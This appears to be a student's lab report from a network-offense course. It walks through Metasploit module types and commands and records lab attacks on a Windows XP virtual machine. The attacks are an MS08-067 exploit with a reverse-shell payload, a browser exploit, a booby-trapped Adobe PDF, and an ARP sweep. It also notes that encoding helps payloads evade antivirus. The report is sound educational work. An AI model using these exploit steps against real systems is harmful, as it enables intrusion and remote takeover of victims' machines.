20154309 【网络对抗技术】Exp5:MSF基础应用

20154309 【网络对抗技术】Exp5:MSF基础应用

一、原理与实践说明

1.实践内容

本实践目标是掌握metasploit的基本应用方式,掌握重点常用的三种攻击方式的思路。具体需要完成:

· 一个主动攻击实践,如ms08-067; (1分)

· 一个针对浏览器的攻击,如ms11-050;(1分)

· 一个针对客户端的攻击,如Adobe;(1分)

· 成功应用任何一个辅助模块。(0.5分)

以上四个小实践可不限于以上示例,并要求至少有一个是和其他所有同学不一样的,否则扣除0.5分。

2.预备知识

一、MSF的六种模块

· Exploit 模块

  • 是利用发现的安全漏洞或配置弱点对远程目标系统进行攻击,以植入和运行攻击载荷,从而获得对远程目标系统访问权的代码组件。
  • 形象点来说就是攻击模块

· Payload 模块

  • 是在渗透成功后促使目标系统运行的一端植入代码,通常作用是为渗透攻击者打开在目标系统上的控制会话连接。实际上,该模块就是计算机集成的针对不同操作系统实现shellcode攻击的ruby代码。

· Encoder 模块

  • 针对payload进行编码,可以通过多种编码手段、多次编码方式有效的改变payload代码特征
  • 不改变payload作用,但能对payload进行加工

· Aux 模块

  • 能够帮助渗透测试中在进行渗透攻击之前得到的目标系统丰富的情报信息,从而发起更具目标性的精准攻击。
  • 主要包括针对各种网络服务的扫描和查点、构建虚假服务收集登录密码、口令猜测破解、敏感信息嗅探、探查敏感信息泄露、Fuzz测试发掘漏洞、实施网络协议欺骗等模块。

· Post 模块

  • 支持在渗透攻击取得目标系统远程控制权之后,在受控系统中进行给各样的后渗透攻击动作
  • 这里主要指的是攻击之后可能用到的模块

· Nops 模块

  • 是一些对程序运行状态不会造成任何实质影响的空操作或无关操作指令,最典型的空指令就是空操作,在X86 CPU体系架构平台上的操作码是0x90
  • 因为有些代码返回地址很难确认,所以在实际中有时候会填充一大段空指令,便于快速确定返回地址的位置

二、MSF常用漏洞利用命令

  • search name:用指定关键字搜索可以利用的漏洞模块
  • use exploit name:使用漏洞
  • show options:显示配置选项
  • set option name option:设置选项
  • show payloads:回链攻击载荷
  • show targets 显示目标(os版本)
  • set TARGET target number:设置目标版本
  • exploit:开始漏洞攻击
  • sessions -l:列出会话
  • sessions -i id:选择会话
  • sessions -k id:结束会话
  • Ctrl+z:把会话放到后台
  • Ctrl+c:结束会话
  • show auxiliary:显示辅助模块
  • use auxiliary name :使用辅助模块
  • set option name option:设置选项
  • exploit:运行模块

3.基础问题

  • 用自己的话解释什么是exploit , payload , encode
  • exploit : 对远程目标机进行攻击控制的攻击模块
  • payload : 攻击者在目标系统上执行的一段攻击代码,该代码具有反弹连接,创建用户,执行其他系统命令的功能。
  • encode : encode编码一是为了避免使攻击载荷不能完整运行的“坏字符”,二是为了改变特征码,帮助攻击载荷避免被杀软发现。

二、实践过程

攻击机:kali 靶机:winxp 的IP地址

1.Windows服务渗透攻击——MS08-067安全漏洞

MS08-067漏洞将会影响除Windows Server 2008 Core以外的所有Windows系统,包括:Windows 2000/XP/Server 2003/Vista/Server 2008的各个版本,甚至还包括测试阶段的Windows 7 Pro-Beta。

  • msf > use exploit/windows/smb/ms08_067_netapi
  • msf exploit(ms08_067_netapi) > show payloads
  • msf exploit(ms08_067_netapi) > set payload generic/shell_reverse_tcp //tcp反向回连
  • msf exploit(ms08_067_netapi) > set LHOST 192.168.186.132 //攻击机ip
  • msf exploit(ms08_067_netapi) > set LPORT 4309 //攻击端口
  • msf exploit(ms08_067_netapi) > set RHOST 192.168.186.131 //靶机ip,特定漏洞端口已经固定
  • msf exploit(ms08_067_netapi) > set target 0 //自动选择目标系统类型,匹配度较高
  • msf exploit(ms08_067_netapi) > exploit //攻击

    成功建立会话,攻击成功。

2.浏览器渗透攻击——MS10_046

这是一个远程执行代码漏洞。 成功利用此漏洞的攻击者可以完全控制受影响的系统。 攻击者可随后安装程序;查看、更改或删除数据;或者创建拥有完全用户权限的新帐户。

search指令查找攻击程序,选择第一个,设置SRVHOST和LHOST等参数

运行,生成了一个URL,把这个URL复制到XP里面,然后打开。

在XP浏览器中打开,出现以下界面:

Linux源源不断接收信号

使用sessions指令查看当前存在的会话,可以看到存在一个ID为1的会话

使用sessions -i 1选择会话1,成功获取了靶机的shell,利用ipconfig指令查看靶机的IP地址:

3.针对Adobe Reader软件的渗透攻击——adobe_toolbutton

选择use exploit/windows/fileformat/adobe_toolbutton,然后使用该模块,设置回连的payload、相关地址、端口号以及生成文件名

显示隐藏的文件,找到这个文件。


将文件复制到靶机XP上

在kali上输入back退出当前模块,进入监听

在靶机上打开liuyanqing_2015439.pdf文件,攻击机显示攻击成功

4.Metasploit辅助模块之——信息收集模块

使用show auxiliary查看可以运用的辅助模块。

选择信息收集模块:扫描局域网有多少主机存活——使用discovery/arp_sweep模块

msf > use auxiliary/scanner/discovery/arp_sweep (使用discovery/arp_sweep模块)

  1. msf auxiliary(arp_sweep) > show options (查看选项)
  2. msf auxiliary(arp_sweep) > set RHOSTS 192.168.186.0/24(目标网段)
  3. msf auxiliary(arp_sweep) > set THREADS 10(线程)
  4. msf auxiliary(arp_sweep) > exploit (开始)

以下为对所在局域网进行扫描后的结果:

三、实践总结及体会

通过本次实验,了解了MSF基本组成原理和构成机理与相应模块的应用。目前实验的漏洞对相关的配置环境以及操作系统和软件版本都有细致的要求,有一定的限制,很大一部分时间花费在配置环境上。
这是与真实实践的差距之一。

posted on 2018-05-02 09:48  4309yanqing  阅读(118)  评论(0编辑  收藏

导航